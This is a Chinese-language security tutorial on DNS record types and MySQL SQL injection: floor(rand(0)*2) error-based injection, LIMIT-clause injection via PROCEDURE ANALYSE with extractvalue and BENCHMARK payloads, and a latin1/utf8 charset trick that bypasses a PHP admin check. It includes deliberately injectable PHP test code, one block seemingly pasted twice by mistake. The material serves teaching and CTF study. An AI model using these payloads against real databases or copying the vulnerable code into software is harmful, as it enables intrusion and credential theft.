2024全网最全面及最新且最为详细的网络安全技巧四 之 sql注入以及mysql绕过技巧 (2)———— 作者:LJS

  • 目录

    4.5 DNS记录类型介绍(A记录、MX记录、NS记录等,TXT,CNAME,PTR)

    4.5.1 DNS

    4.5.2 A记录

    4.5.3NS记录

    4.5.4 MX记录

    4.5.5 CNAME记录

    4.5.6 TXT记录

    4.5.7 泛域名与泛解析

    4.5.8域名绑定

    4.5.9 域名转向

    4.6 Mysql报错注入之floor报错详解

    4.6.1 简述

    4.6.2 关键函数说明

    1.rand函数

    2.floor(rand(0)*2)函数

    3.group by 函数

    4.count(*)函数

    5.综合使用产生报错:

    4.6.3 报错分析

    4.6.4 总结

    4.7 Mysql下Limit注入方法

    4.8 Mysql字符编码利用技巧

    0x01 由某CTF题解说起

    0x02 Trick复现

    0x03 Mysql字符集转换

    0x04 漏洞成因

    0x05 为什么只有部分字符可以使用

    0x06 Mysql UTF8 特性

    那么,为什么username=admin%F0也不行呢?F0是在C2-F4的范围中呀?

    0x07 总结


  • 4.5 DNS记录类型介绍(A记录、MX记录、NS记录等,TXT,CNAME,PTR)

  • 4.5.1 DNS

  • Domain Name System 域名管理系统 域名是由圆点分开一串单词或缩写组成的,每一个域名都对应一个惟一的IP地址,这一命名的方法或这样管理域名的系统叫做域名管理系统。 DNS:Domain Name Server 域名服务器 域名虽然便于人们记忆,但网络中的计算机之间只能互相认识IP地址,它们之间的转换工作称为域名解析,域名解析需要由专门的域名解析服务器来完成,DNS 就是进行域名解析的服务器。 查看DNS更详细的解释
  • 4.5.2 A记录

  • A(Address)记录是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置域名的子域名。通俗来说A记录就是服务器的IP,域名绑定A记录就是告诉DNS,当你输入域名的时候给你引导向设置在DNS的A记录所对应的服务器。 简单的说,A记录是指定域名对应的IP地址。
  • 4.5.3NS记录

  • NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。 您注册域名时,总有默认的DNS服务器,每个注册的域名都是由一个DNS域名服务器来进行解析的,DNS服务器NS记录地址一般以以下的形式出现: ns1.domain.com、ns2.domain.com等。 简单的说,NS记录是指定由哪个DNS服务器解析你的域名。
  • 4.5.4 MX记录

  • MX(Mail Exchanger)记录是邮件交换记录,它指向一个邮件服务器,用于电子邮件系统发邮件时根据收信人的地址后缀来定位邮件服务器。例如,当Internet上的某用户要发一封信给 user@mydomain.com 时,该用户的邮件系统通过DNS查找mydomain.com这个域名的MX记录,如果MX记录存在, 用户计算机就将邮件发送到MX记录所指定的邮件服务器上。
  • 4.5.5 CNAME记录

  • CNAME(Canonical Name )别名记录,允许您将多个名字映射到同一台计算机。通常用于同时提供WWW和MAIL服务的计算机。例如,有一台计算机名为 “host.mydomain.com”(A记录),它同时提供WWW和MAIL服务,为了便于用户访问服务。可以为该计算机设置两个别名(CNAME):WWW和MAIL, 这两个别名的全称就“www.mydomain.com”和“mail.mydomain.com”,实际上他们都指向 “host.mydomain.com”。
  • 4.5.6 TXT记录

  • TXT记录,一般指某个主机名或域名的说明,如:admin IN TXT "管理员, 电话:XXXXXXXXXXX",mail IN TXT "邮件主机,存放在xxx , 管理人:AAA",Jim IN TXT "contact: abc@mailserver.com",也就是您可以设置 TXT 内容以便使别人联系到您。 TXT的应用之一,SPF(Sender Policy Framework)反垃圾邮件。SPF是跟DNS相关的一项技术,它的内容写在DNS的TXT类型的记录里面。MX记录的作用是给寄信者指明某个域名的邮件服务器有哪些。SPF的作用跟MX相反,它向收信者表明,哪些邮件服务器是经过某个域名认可会发送邮件的。SPF的作用主要是反垃圾邮件,主要针对那些发信人伪造域名的垃圾邮件。例如:当邮件服务器收到自称发件人是spam@gmail.com的邮件,那么到底它是不是真的gmail.com的邮件服务器发过来的呢,我们可以查询gmail.com的SPF记录,以此防止别人伪造你来发邮件。
  • 4.5.7 泛域名与泛解析

  • 泛域名是指在一个域名根下,以 .Domain.com的形式表示这个域名根所有未建立的子域名。 泛解析是把.Domain.com的A记录解析到某个IP 地址上,通过访问任意的前缀.domain.com都能访问到你解析的站点上。
  • 4.5.8域名绑定

  • 域名绑定是指将域名指向服务器IP的操作。
  • 4.5.9 域名转向

  • 域名转向又称为域名指向或域名转发,当用户地址栏中输入您的域名时,将会自动跳转到您所指定的另一个域名。一般是使用短的好记的域名转向复杂难记的域名。
  • 4.6 Mysql报错注入之floor报错详解

  • 4.6.1 简述

  • 利用 select count(),(floor(rand(0)2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
  • 基本的查询 select 不必多说,剩下的几个关键字有 count 、group by 、floor、rand。
  • 4.6.2 关键函数说明

  • 1.rand函数

  • rand() 可以产生一个在0和1之间的随机数。
  • img

  • 可见,直接使用rand函数每次产生的数都不同,但是当提供了一个固定的随机数的种子0之后:
  • img

  • 每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的)。 查看多个数据看一下。(users是一个有6行数据的表)
  • img

  • 这样第一次产生的随机数和第二次完全一样,也就是可以预测的。 利用的时候rand(0)*2为什么要乘以 2 呢?这就要配合 floor 函数来说了。
  • 2.floor(rand(0)*2)函数

  • floor() 函数的作用就是返回小于等于括号内该值的最大整数。
  • 而rand() 是返回 0 到 1 之间的随机数,那么floor(rand(0))产生的数就只是0,这样就不能实现报错的:
  • img

  • 而rand产生的数乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1:
  • img

  • 并且根据固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1。
  • 3.group by 函数

  • group by 主要用来对数据进行分组(相同的分为一组)。
  • 还是按照下表进行实验
  • img

  • 首先我们在查询的时候是可以使用as用其他的名字代替显示的:
  • img

  • 但是在实际中可以缺省as直接查询,显示的结果是一样的:
  • img

  • 然后就可以用group by函数进行分组,并按照x进行排序
  • 注意:最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值
  • img

  • 4.count(*)函数

  • count(*)统计结果的记录数。
  • 这里与group by结合使用看一下:
  • img

  • 这里就是对重复性的数据进行了整合,然后计数,后面的x就是每一类的数量。
  • 5.综合使用产生报错:

  • select count(*),floor(rand(0)*2) x from users group by x;
  • img

  • 根据前面函数,这句话就是统计后面产生随机数的种类并计算每种数量。
  • 分别产生0 1 1 0 1 1 ,这样0是2个,1是4个,但是最后却产生了报错。
  • 4.6.3 报错分析

  • 这个整合然后计数的过程中,中间发生了什么我们是必须要明白的。 首先mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count()。也就对应于实验中的 user_name 和 count()。 然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。
  • 然后mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个"被计算多次"到底是什么意思,就是在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)2)报错的过程就知道了,从上面的函数使用中可以看到在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011 (这个顺序很重要),报错实际上就是floor(rand(0)2)被计算多次导致的,我们还原一下具体的查询过程:
  • (1)查询前默认会建立空虚拟表如下图:
  • img

  • (2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),
  • img

  • (3)查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
  • img

  • (4)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)
  • img

  • (5)查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕,结果如下:
  • img

  • (6)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)
  • img

  • (7)查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),
  • img

  • 然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
  • 4.6.4 总结

  • 整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。
  • 另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()2)产生的序列是不可测的,这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。
  • 比如下面用1作为随机数种子,就不会产生报错:
  • img

  • img

  • 4.7 Mysql下Limit注入方法

  • 此方法适用于<=MySQL 5.5中,在limit语句后面的注入
  • 例如:
  • SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
    ```   上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法: ```
    SELECT 
        [ALL | DISTINCT | DISTINCTROW ] 
          [HIGH_PRIORITY] 
          [STRAIGHT_JOIN] 
          [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
          [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
        select_expr [, select_expr ...] 
        [FROM table_references 
        [WHERE where_condition] 
        [GROUP BY {col_name | expr | position} 
          [ASC | DESC], ... [WITH ROLLUP]] 
        [HAVING where_condition] 
        [ORDER BY {col_name | expr | position} 
          [ASC | DESC], ...] 
        [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
        [PROCEDURE procedure_name(argument_list)] 
        [INTO OUTFILE 'file_name' export_options 
          | INTO DUMPFILE 'file_name' 
          | INTO var_name [, var_name]] 
        [FOR UPDATE | LOCK IN SHARE MODE]]
  • 在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢? Let’s give it a try:
  • mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); 
    
    ERROR 1386 (HY000): Can't use ORDER clause with this procedure
  • ANALYSE可以有两个参数:
  • mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1); 
    
    ERROR 1386 (HY000): Can't use ORDER clause with this procedure
  • 看起来并不是很好,继续尝试:
  • mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
  • 但是立即返回了一个错误信息
  • ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
  • sleep函数肯定没有执行,但是最终我还是找到了可以攻击的方式:
  • mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ​ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
  • 如果不支持报错注入的话,还可以基于时间注入:
  • SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(7000000,SHA1(1)),1))))),1)
  • 直接使用sleep不行,需要用BENCHMARK代替。 
  • 我亲测好用~这里附上我的测试代码:
  • <?php 
    header("Content-Type: text/plain; charset=utf-8");
    
    // 连接数据库
    mysql_connect("localhost","root","root");
    mysql_select_db("test");
    
    // 构造 SQL 查询语句,使用 $_GET['p'] 获取分页参数,但需要注意 SQL 注入问题
    $row = mysql_fetch_array(mysql_query("SELECT * FROM users where uid < 100 ORDER BY uid limit {$_GET['p']}, 10"));
    
    // 判断是否有查询结果
    if($row){
        var_dump($row);  // 输出查询结果
    } else {
        echo mysql_error();  // 输出 MySQL 查询错误
    }
    
  • 报错注入获得root密码:
  • QQ20150124-4@2x.png

  • 报错注入获得mysql用户:
  • QQ20150124-3@2x.png

  • 4.8 Mysql字符编码利用技巧

  • 0x01 由某CTF题解说起

  • 考点是这几行:
  • <?php 
    header("Content-Type: text/plain; charset=utf-8");
    
    // 连接数据库
    mysql_connect("localhost","root","root");
    mysql_select_db("test");
    
    // 构造 SQL 查询语句,使用 $_GET['p'] 获取分页参数,但需要注意 SQL 注入问题
    $row = mysql_fetch_array(mysql_query("SELECT * FROM users where uid < 100 ORDER BY uid limit {$_GET['p']}, 10"));
    
    // 判断是否有查询结果
    if($row){
        var_dump($row);  // 输出查询结果
    } else {
        echo mysql_error();  // 输出 MySQL 查询错误
    }
    
  • 这个if语句嫌疑很大,大概是考我们怎么登陆admin的账号
  • 本文中利用Â等latin1字符来绕过php的判断。这个CTF也是用同样的方法来解决:
  • 14917408495441.jpg

  • 可见,我传入的username=admin%c2,php的检测if ($username === 'admin')自然就可以绕过的,在mysql中可以正常查出username='admin'的结果。
  • 0x02 Trick复现

  • 那么,为什么执行SELECT * FROM user WHERE username='admin\xC2' and password='admin'却可以查出用户名是admin的记录?
  • 编写如下代码:
  • <?php
    $mysqli = new mysqli("localhost", "root", "root", "cat");
    
    if ($mysqli->connect_errno) {
        printf("Connect failed: %s\n", $mysqli->connect_error);
        exit();
    }
    /*通过 new mysqli() 创建一个 MySQL 连接对象 $mysqli,连接到本地 MySQL 数据库(用户名为 root,密码为 root,数据库名为 cat)。
    使用 $mysqli->connect_errno 和 $mysqli->connect_error 检查连接是否成功。如果连接失败,将输出错误信息并终止脚本执行。*/
    
    $mysqli->query("set names utf8");
    
    $username = addslashes($_GET['username']);
    /*使用 addslashes() 对从 $_GET['username'] 获取的用户名进行简单的转义,防止基本的 SQL 注入攻击*/
    
    $sql = "SELECT * FROM `table1` WHERE username='{$username}'";
    
    if ($result = $mysqli->query( $sql )) {
        printf("Select returned %d rows.\n", $result->num_rows);
    
        while ($row = $result->fetch_array(MYSQLI_ASSOC))
        {
            var_dump($row);
        }
    
        $result->close();
    } else {
        var_dump($mysqli->error);
    }
    /*构建 SQL 查询语句,根据用户提供的 $username 查询 table1 表中的数据。
    如果查询成功,使用 $result->num_rows 获取结果集中的行数,并通过 fetch_array(MYSQLI_ASSOC) 循环获取每行数据并打印出来。
    如果查询失败,打印出 MySQL 错误信息。*/
    $mysqli->close();
  • 然后在数据库cat中创建表table1
  • CREATE TABLE `table1` (
      `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
      `username` varchar(255) COLLATE latin1_general_ci NOT NULL,
      `password` varchar(255) COLLATE latin1_general_ci NOT NULL,
      PRIMARY KEY (`id`)
    ) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
  • 我特地将字符集设置为latin1,其实默认情况下,Mysql的字符集就是latin1,没必要写明。
  • 插入一个管理员账户:
  • INSERT `table1` VALUES (1, 'admin', 'admin');
  • 然后,我们访问http://localhost/test.php?username=admin%c2,即可发现%c2被忽略,Mysql查出了username=admin的结果:
  • 假设我们将table1表的字符集换成utf8,就得不到结果了。
  • 0x03 Mysql字符集转换

  • 经过0x02中对该Mysql Trick的复现,大概也能猜到原理了。
  • 造成这个Trick的根本原因是,Mysql字段的字符集和php mysqli客户端设置的字符集不相同。
  • set names utf8 的意思是将客户端的字符集设置为utf8。我们打开mysql控制台,依次执行SHOW VARIABLES LIKE 'character_set_%';set names utf8;SHOW VARIABLES LIKE 'character_set_%';,即可得到如下结果:
  • 14917422428663.jpg

  • 如上图,在默认情况下,mysql字符集为latin1,而执行了set names utf8;以后,character_set_clientcharacter_set_connectioncharacter_set_results等与客户端相关的配置字符集都变成了utf8,但character_set_databasecharacter_set_server等服务端相关的字符集还是latin1。
  • 这就是该Trick的核心,因为这一条语句,导致客户端、服务端的字符集出现了差别。既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。
  • 鸟哥曾在博客中讲解了Mysql字符集:
  • MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

  • 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集

  •  
  • 在我们这个案例中,character_set_clientcharacter_set_connection被设置成了utf8,而内部操作字符集其实也就是username字段的字符集还是默认的latin1。于是,整个操作就有如下字符串转换过程:
  • utf8 --> utf8 --> latin1
  • 最后执行比较username='admin'的时候,'admin'是一个latin1字符串。
  • 0x04 漏洞成因

  • 那么,字符集转换为什么会导致%c2被忽略呢?
  • 说一下我的想法,Mysql在转换字符集的时候,将不完整的字符给忽略了。
  • 举个简单的例子,这个汉字的UTF-8编码是\xE4\xBD\xAC,我们可以依次尝试访问下面三个URL:
  • http://localhost:9090/test.php?username=admin%e4
  • http://localhost:9090/test.php?username=admin%e4%bd
  • http://localhost:9090/test.php?username=admin%e4%bd%ac
  • 可以发现,前两者都能成功获取到username=admin的结果,而最后一个URL,也就是当我输入字完整的编码时,将会被抛出一个错误:
  • 14917436746982.jpg

  • 14917436885556.jpg

  • 14917436998958.jpg

  • 为什么会抛出错误?原因很简单,因为latin1并不支持汉字,所以utf8汉字转换成latin1时就抛出了错误。
  • 那前两次为什么没有抛出错误?因为前两次输入的编码并不完整,Mysql在进行编码转换时,就将其忽略了。
  • 这个特点也导致,我们查询username=admin%e4时,%e4被省略,最后查出了username=admin的结果。
  • 0x05 为什么只有部分字符可以使用

  • 我在测试这个Trick的时候发现,username=admin%c2时可以正确得到结果,但username=admin%c1就不行,这是为什么?
  • 我简单fuzz了一下,如果在admin后面加上一个字符,有如下结果:
  • \x00~\x7F: 返回空白结果

  • \x80~\xC1: 返回错误Illegal mix of collations

  • \xC2~\xEF: 返回admin的结果

  • \xF0~\xFF: 返回错误Illegal mix of collations

  • 这就涉及到Mysql编码相关的知识了,先看看维基百科吧。
  • UTF-8编码是变长编码,可能有1~4个字节表示:
  • 一字节时范围是[00-7F]

  • 两字节时范围是C0-DF

  • 三字节时范围是E0-EF[80-BF]

  • 四字节时范围是F0-F780-BF

  • 然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:
  • 14917445720884.jpg

  • 所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4,这也是我在admin后面加上80-C1、F5-FF等字符时会抛出错误的原因。
  • 关于所有的UTF-8字符,你可以在这个表中一一看到: http://utf8-chartable.de/unicode-utf8-table.pl
  • 0x06 Mysql UTF8 特性

  • 那么,为什么username=admin%F0也不行呢?F0是在C2-F4的范围中呀?

  • 这又涉及到Mysql中另一个特性:Mysql的utf8其实是阉割版utf-8编码,Mysql中的utf8字符集最长只支持三个字节,
  • 所以,我们回看前文列出的UTF-8编码第一字节的范围,
  • 三字节时范围是E0-EF[80-BF] 四字节时范围是F0-F780-BF

  • F0-F4是四字节才有的,所以我传入username=admin%F0也将抛出错误。
  • 如果你需要Mysql支持四字节的utf-8,可以使用utf8mb4编码。我将原始代码中的set names改成set names utf8mb4,再看看效果:
  • 14917457463556.jpg

  • 已经成功得到结果。
  • 0x07 总结

  • 本文深入研究了Mysql编码的数个特性,相信看完本文,对于第一章中的CTF题目也没有疑问了。
  • 通过这次研究,我有几个感想:
  • 研究东西还是需要深入,之前写那篇文章的时候并没有深入研究原理,所以心里总是很迷糊

  • 维基百科上涵盖了很多知识,有必要的时候也可以多看看

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/747215.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Okhttp响应Json数据

简介 OkHttp是一个高效、现代的HTTP客户端库&#xff0c;专为Android和Java应用程序设计&#xff0c;用于发送网络请求和处理响应。它支持HTTP/2和SPDY协议&#xff0c;允许连接复用&#xff0c;减少延迟&#xff0c;提高网络效率。OkHttp还处理了常见的网络问题&#xff0c;如…

【目标检测】Yolov8 完整教程 | 检测 | 计算机视觉

学习资源&#xff1a;https://www.youtube.com/watch?vZ-65nqxUdl4 努力的小巴掌 记录计算机视觉学习道路上的所思所得。 1、准备图片images 收集数据网站&#xff1a;OPEN IMAGES 2、准备标签labels 网站&#xff1a;CVAT 有点是&#xff1a;支持直接导出yolo格式的标…

Flutter实现页面间传参

带参跳转 步骤 在router中配置这个路由需要携带的参数,这里的参数是 arguments,注意要用花括号包裹参数名称 在相应组件中实现带参构造函数 在state类中可以直接使用${widget.arguments}来访问到传递的参数 在其他页面中使用Navigator.pushNamed()带参跳转

ansible自动化运维,(2)ansible-playbook

三种常见的数据格式&#xff1a; XML&#xff1a;可扩展标记语言&#xff0c;用于数据交换和配置 JSON&#xff1a;对象标记法&#xff0c;主要用来数据交换或配置&#xff0c;不支持注释 YAML&#xff1a;不是一种标记语言&#xff0c;主要用来配置&#xff0c;大小写敏感&…

BUG cn.bing.com 重定向的次数过多,无法搜索内容

BUG cn.bing.com 重定向的次数过多&#xff0c;无法搜索内容 环境 windows 11 edge浏览器详情 使用Microsoft Edge 必应搜索显示"cn.bing.com"重定向次数过多&#xff0c;无法进行正常的检索功能 解决办法 检查是否开启某些科_学_上_网&#xff08;翻_墙&#xf…

电脑高手推荐:三款超实用软件,让你的电脑如虎添翼!

7Zip 7-Zip是一款免费且开源的文件压缩工具&#xff0c;支持多种文件格式&#xff0c;包括其自带的7z格式、ZIP、GZIP、BZIP2和TAR等。该软件由Igor Pavlov于1999年开发&#xff0c;具有高压缩比的特点。7-Zip不仅可以在Windows操作系统上使用&#xff0c;还可以在Unix-like的操…

做到这九点,工作就无后顾之忧

大家好&#xff0c;今天又跟大家分享一篇&#xff0c;怎么在职场上做到挺起腰杆做事。全文共分9点&#xff0c;尤其最后一点最为重要。篇幅有点长&#xff0c;全文共计三千多字&#xff0c;请耐心看完。 如果您觉得对您有些帮助&#xff0c;点赞收藏关注。谢谢您的支持。 在职场…

LDO芯片手册,实例应用分析

在进行电路设计时LDO是经常用到的&#xff0c;尤其在为芯片&#xff0c;晶振等敏感电路进行供电时应用更多&#xff0c;下面选取一款比较常用的LDO芯片&#xff0c;一起进行更深入的学习。 SGM2036特点简介 SGM2036&#xff0c;圣邦微一款比较常用的LDO芯片手册 可以先大致看…

广州数据中心机房搬迁验收要求

1.验收要求 新机房装修工程全部竣工&#xff0c;各类环境设备安装到位&#xff0c;包括空调、UPS、柴油发电机等设备安装调试完毕&#xff0c;机房接地、防雷、消防系统检验合格&#xff0c;机房综合布线工作完成&#xff0c;机房各项环境指标达标&#xff0c;机房整体通过验收…

MySQL连接

MySQL工具包 MySQL实现简单链接 一 引入工具包 JBDCUtils&#xff0c;无需更改&#xff0c;直接使用即可。 import java.io.IOException; import java.io.InputStream; import java.sql.*; import java.util.Properties;public class JDBCUtil {private static String URL;p…

mapstruct实现各个实体间的类型转换(DTO转BO、BO转Entity)的实践

一、引入 在没有遇见mapstruct的时候&#xff0c;实现各个实体之间的转换&#xff0c;都是手动转换实现的&#xff0c;属性少一带你还好&#xff0c;当属性一多&#xff0c;代码就会变得很冗余&#xff0c;没必要的非逻辑的代码就会加多。。。。 比如&#xff1a; public cl…

Python+Pytest+Yaml+Request+Allure+GitLab+Jenkins接口自动化测试框架概解

PythonPytestYamlAllure整体框架目录&#xff08;源代码请等下篇&#xff09; 框架详解 common:公共方法包 –get_path.py:获取文件路径方法 –logger_util.py:输出日志方法 –parameters_until.py&#xff1a;传参方式方法封装 –requests_util.py&#xff1a;请求方式方法封…

洗地机怎么选择最好?四大洗地机精选放心入手

在当今生活节奏飞快的社会中&#xff0c;人们越来越渴望拥有一款高性能、实用方便的家用洗地机&#xff0c;能够帮助我们节省大量的清洁时间。因为洗地机它是吸尘器的升级版&#xff0c;清洁力比扫地机器人更强&#xff0c;洗地机通过高速旋转的风机&#xff0c;产生超大吸力&a…

无源电压继电器 JDY-1210AW 导轨安装 约瑟JOSEF

系列型号&#xff1a; JDY-1002AW电压继电器&#xff1b;JDY-1002B电压继电器&#xff1b; JDY-1110AW电压继电器&#xff1b;JDY-1110B电压继电器&#xff1b; JDY-1220AW电压继电器&#xff1b;JDY-1220B电压继电器&#xff1b; JDY-1100AW电压继电器&#xff1b;JDY-110…

昇思25天学习打卡营第一天|快速入门

背景 华为组织了昇思25天学习营&#xff0c;从基础开始&#xff0c;提供算力支持&#xff0c;还是体验蛮好的。推荐大家报名参加。 学习内容 今天的内容是快速入门&#xff0c;很简单&#xff0c;当是复习基础内容了。 下载数据集》模型组网》模型训练》保存模型&#xff0c…

mongodb 查询语句学习笔记

基础查询 正则查询 {status: A,$or: [{ qty: { $lt: 30 } }, { item: { $regex: ^p } }] }AND 查询 { "size.h": { $lt: 15 }, "size.uom": "in", status: "D" }OR 查询 { $or: [ { status: "A" }, { qty: { $lt: 30 } …

进程、CPU、MMU与PCB之间的关系

目录 进程与cpu&#xff08;中央处理器&#xff09; 源代码、程序、cpu与进程的关系 cpu超线程 CPU的简易架构与处理数据过程 进程与MMU&#xff08;内存管理单元&#xff09; mmu作用 cpu和mmu的关系 进程与PCB&#xff08;进程控制块&#xff09; PCB介绍与内部成员…

嵌入式项目分享| 终极智能手表,全过程+全开源分享

这是一个非常完整的智能手表开源项目,功能齐全,且资料开源,如果你是:自己平时喜欢diy的工程师,想要提升开发技能的学生,马上要做毕设的大四学生,这个手表很值得一做,别错过了~~ 所有开源的资料以及原文链接见文末。 先来看下这个手表的功能: 首先,是一个可以佩戴的手…

如何在 SwiftUI 视图中显示应用图标和版本

文章目录 前言获取应用图标获取应用版本创建 SwiftUI 视图总结前言 在应用中显示应用图标和版本是为用户提供快速识别应用版本和变体的好方法,无论是内部用户(如测试人员或利益相关者)还是外部用户。 在本文中,我将展示如何创建一个可访问的 SwiftUI 视图,既能显示应用图…

【UE5.3】笔记4-自定义材质蓝图

正常来说&#xff0c;我们都是拿到什么材质用什么材质&#xff0c;那么我们如何去创建自定义的材质呢&#xff1f; 首先&#xff0c;创建MyMaterials文件夹用来存放我们自制的材质&#xff1b; 然后&#xff0c;右键创建一个材质&#xff0c;起个名字&#xff0c;双击打开&am…